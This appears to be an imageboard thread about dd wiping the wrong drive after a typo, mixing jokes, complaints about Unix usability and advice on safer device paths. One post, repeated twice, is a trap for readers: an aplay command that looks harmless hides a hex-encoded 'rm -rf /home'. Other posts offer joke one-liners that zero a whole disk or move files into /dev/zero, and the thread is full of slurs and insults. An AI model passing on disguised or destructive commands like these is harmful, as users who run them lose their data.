>mispells a single letter>deletes entire disk
OH NO!YOU PUT A I WHERE ITS AN lLETS DELETE EVERY FILE AND UP THE VOLTAGE ON YOUR CPU AND FRY YOUR GPU AND RAM IN THE PROCESS!!!!!!
>>107056667Spoonfeed me please.t.windows user
>>107056693Well like if you have two drives /dev/sda and /dev/sdbYou do dd if=linux.iso of=/dev/sdaBug that one was your windows driveIts now gone and you just installed linux on it
>>107056667>run dd if=/dev/zero of=/dev/sda>nothing happens
>>107056667using dd as memory card speed tester
>>107056686Who uses i's in their drive names, let alone capital letters? Who uses a terminal font with ambiguous characters? Why are you confused about characters you type into terminal?
>>107056729Thanks sda, sdb, sdc, sdd... I mean it's similar on windows with c drive and d and so on
>>107056693Imagine telling your intern to format the D: drive but you did a typo and tell him to format C: instead.
>>107056759The only real "issue" is that partitions are named sda1, sda2, so if you're absolutely retarded, and try to zero a partition, you may accidentally aim it at the whole drive. This isn't a dd issue. You could do this using cp (copy) as well if you were dumb.I have never met anyone this retarded in person. But your typical /g/ user is extra retarded, so one of them probably has
>>107056667It is absurd how unforgiving and unfriendly unix programs are. It's not that they have to be so by design, but the issue is the developers are lazy. It's nothing more or less than this. When I develop my website, whenever there is a lack of some function that would be useful, it's not that I don't want to put it there in case it becomes too bloated. No, the problem is that I don't have the time or skill to do it. I feel like unix developers try to hide this fact because most of them are unemployed or students (well, they are in university for the 12th year going on) and they don't have any excuse for the lack of effort. They have the time, maybe even the skill, but it's easier to do something fun that work. So they adopt this hard line approach into everything thinking it fools people to think that they are visionary, but really, they are just lazy. This point can be proven by voluntarily offering to make something better, and getting declined because the lazy dev doesn't want to make himself look lazy and/or incompetent. But it's just that. You don't even have to be some full-stack engineer, anyone who has ever churned even html can identify with this.
>>107056786>develop my websiteWebdev opinion discarded. Its not UNIX's fault that you need thirty layers and a linter to make sure you don't shit your diaper
>>107056667Well that's why they call it "disk destroyer".Use a better, more beginner friendly tool if you don't want to take the risk.>>107056786Every standard "noob friendly" installation of Linux I've used has come with a built-in, GUI based tool for creating bootable USBs and manipulating disk partitions etc.The only time I've needed to use dd was when I was using a more bare-bones system that didn't come with any of these extra tools.
>>107056821You say that as what, a python developer?
>>107056821No its an easy fix.it should be dd source=linux.iso target=‘hard drive “label”The lack of letters is from the unix days back when they couldnt afford the bytes to write entire words
>>107056667Maybe a computer is not for you, maybe an ipad would suit you better.. something like your iphone? you know iphone?
>>107056766This is why I hate doing stuff like that using the command line. If you make a typo accidentally, your shit is gone. It's harder to click on C instead of D accidentally.
>>107056869No, it comes from a file being a file. Your syntax makes no damn sense (and even an unclosed quote). If you need labels, there is /dev/disk/by-label/. There are also directories for by-uuid and any other thing you can image. But that would require knowing anything other than the js framework of the week :)
>>107056962Have os prober make the label
>>107056667Don't use dd btw, just use cp, it's much faster (you could even use cat and it would be faster than dd)
>>107056986Fair enough, but its not a dd issue.
I did that once. Accidentally wrote the installer to the Windows 7 ssd I was running instead of the thumb drive. I haven't tried poking around that old disk since that happened 10 years ago. I wonder if I even lost much data at all? That was my primary NEET thinkpad during 2012-2015.
Use -i
>>107056667>have a bazillion GUI tools>i want to use dd directly!>fuck up the command like a retard (lol)>WTF LINUS SUX!!!!
>>107056667If you use your administrator permissions on windows or macos, you can do 1:1 same and destroy the whole OS with one typo. Stfu baby duck retard. Stockholm LGBT syndrome Windows c7uck.
>>107056786dd is one of the most ruthless utilitiesi agree that there isn't much of an airbag if you fuck up unix commands in general, but dd is kind of an outlierwhat even is the usecase for dd? fully imaging your system as a backup? i feel like that's the only real use
>>107056667thats why you have the choice of /dev/disk/by-id/i think udev provides these interfaces.i never did it myself though, i still use /dev/sdx for dd.now, these labels can change so take care.i guess /dev/disk/by-id has the least risk of changing.
You could always check your drives with something like gparted and take literally a second to double check that the device matches before you press enter and run a command that erases an entire drive.
>>107056667Why not just use a normal GUI partitioning tool?
>>107056667>>107056693>>107056729>>107056766>>107056939I'd like to believe most instances of these mistakes could be prevented with a confirmation prompt.
>>107056667no real reason to use this instead of rufus/etcher that isn't geekcred
>uses basic command line utility over a gui>"OMG why is this so unfriendly to beginners"/g/tards have to wear a helmet around the house to not kill themselves running against a door. You people are legit useless. Literally the same problem you'd have using a windows' diskpart
linuxtroons on suicide watch
Imagine being such a brainrotten zero attention span zoomer that you can't read the line you just typed into the terminal a second time before you hit enter and then verify your action again by typing in your password. Not to mention that none of this is even an issue in the first place if you did proper backups regularly like literally everyone told you to.
aplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`">fries your headphonesnothin' personnel, kid
aplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"
>>107056729>Bug that one was your windows drive>Its now gone and you just installed linux on itfeature.
>>107057702/thread
>>107056667cmd lets you fuck up your disk, toonot really sure what your point is here and if its "well you need to use the terminal in linux" then its clear you haven't tried linux in the last 15 years lmfao
>>107056774mv * /dev/zero
mv * /dev/zero
>>107056667If you ever touch disk destroyer you better have a steady hand and no small amount of tension in you.If you failed at that then your own failing. Time to put the bumpers up before you bowl.
>>107056786>This point can be proven by voluntarily offering to make something betterlet me guess, when you did this you have given backwards compatibility exactly 0 seconds of thought>>107057958>what even is the usecase for dd?you can write an .iso to an usb drive very quickly, but that usecase is deprecated by ventoy
>>107056667>"NOOOOO MOMMY PUT THE GUARD RAILS DOWN AND I BROKE MY TOY!!!"Wintards really are
>>107056667yep, linux is not for plebeians, just how it is
>>107061198>let me guess, when you did this you have given backwards compatibility exactly 0 seconds of thoughtWhy is this a factor? Can you give me a real world example?
>>107060317>I'd like to believe most instances of these mistakes could be prevented with a confirmation promptI'd have liked to believe that too, but I have actually made mistakes where I overwrote shit on a prod server despite there being a confirmation prompt.
idea: how about you use root only to give yourself write perms on the block device(s), then go back into normal user where you can now not do an action you'd regret even if you somehow tripped on the keyboard and also didn't notice
>>107061809thanks for proving my point
>>107056686>UP THE VOLTAGE ON YOUR CPU AND FRY YOUR GPU ANDchrist, shills are getting both more desperate and more schizophrenic with every passing post>>107056693
>>107056667I hate Troonix as much as the next guy who isn't generationally welfare dependent, but these sorts of scenarios are more because your average Troonix user is a braindead tard.Remember, most Troonix users became so because they couldn't disable Windows updates or search highlights, or the latest version simply didn't run on their trashpicked shitbox - all issues that a child with an IQ over 70 could resolve.
>>107056667This is correct and good. Computers must always be subservient to men. If I tell my computer to corrupt my drive it should obey without question. It is not a computer's place to second-guess its superiors. If you are too incompetent to wield this power you should hire a professional sysadmin to wield it for you.You should have standard procedures for operating on raw devices anyway. Make a symlink, then dd the symlink after you've confirmed it's pointing to the right place.
>>107063411>"actually troonix are dumb for not failing at typing a simple command"
>>107056667That's actually based. Linux is not for weak soibois who don't put attention.
>>107056667That is user error, and there is now way of fixing this without severely restricting user freedom which is a no go. You can set up a permissions scheme as the admin of your system, or be careful when using the command but the responsibility is yours, since that comes with the freedom the OS provides, it's not an issue but an user error.Git gud scrub
>>107063347Likewise to you for proving mine.2
>>107060317the confirmation prompt won't save you from human error as >>107061839 said
>>107056667>use hammer drill on wall without checking>hit water pipe>entire apartment gets flooded>WTF? THIS DRILL IS SO USER UNFRIENDLY!!
>>107056729>>107056667Stop using the path to the drive name. Use that path to the label instead:dd if=linux.iso of=/dev/disk/by-label/HDD8TB
dd if=linux.iso of=/dev/disk/by-label/HDD8TB
>>107060317>program now requires confirmation>still has to work in scripts, so add a flag to bypass confirmation prompt>new flag is added to everyday use and suggested every timeAlthough I admit, --no-preserve-root worked well to save the bottom of the barrel, probably because it was made so wordy on purpose.
I'll just use an OS that doesn't have 100000000 ways to rape your computer like Troonix does, thank you.
>>107060899YOU BENCHOOOOOD *gets redeemed*
>>107056729I do not understand what this sentence is trying to say
᠏᠏᠏᠏
>>107066845what the fuck
>>107060899>Not dd-ing /dev/sdaWeak
>>107056667I'm not about to check, but won't dd-ing a mounted device fail with a "device or resource busy" error?
>>107056667
>>107056667just restore your backup
>>107068235>backupuhh what?
>>107066837Because it was written by a corporate shill in the third world who's getting paid like 5 rupees per post.
>>107056667>miswords a single sentence>deletes entire world
>>107068146Not on Linux.OpenBSD does make raw disk devices of mounted filesystems read-only with securelevel 1, which is the default.
>>107056729What if I have three drives? sda sdb and sdc. sdc is my "precious memories" drive and it's full of irreplaceable photos and videos of my family. sdb is a random shit drive. however only sometimes because sdb and sdc love to swap around randomly.
>>107068797>however only sometimes because sdb and sdc love to swap around randomly.Configure your shit correctly.
>>107068797have you considered not using sd* and using a more stable identifier like disk-id?
>>107068803no it's random>>107068809I mount by UUID but I always have to be careful that it hasn't swapped again after a reboot.
>>107056786Is not for retards, you little kiddo.
>>107056686Font issue, get one created for people by people, not by some retard faggots.
>>107056757well if you have 12+ scsi drives in your machine then you'll have an sdi and an sdl
>>107056786there's a bunch of simple graphical tools for writing images to removable media, similar if not the same as ones you find on windowsit's not like you have to use dd (really, i wouldn't even recommend it, it's pretty archaic and if you aren't using it's conv/skip/seek/etc options then there's better options)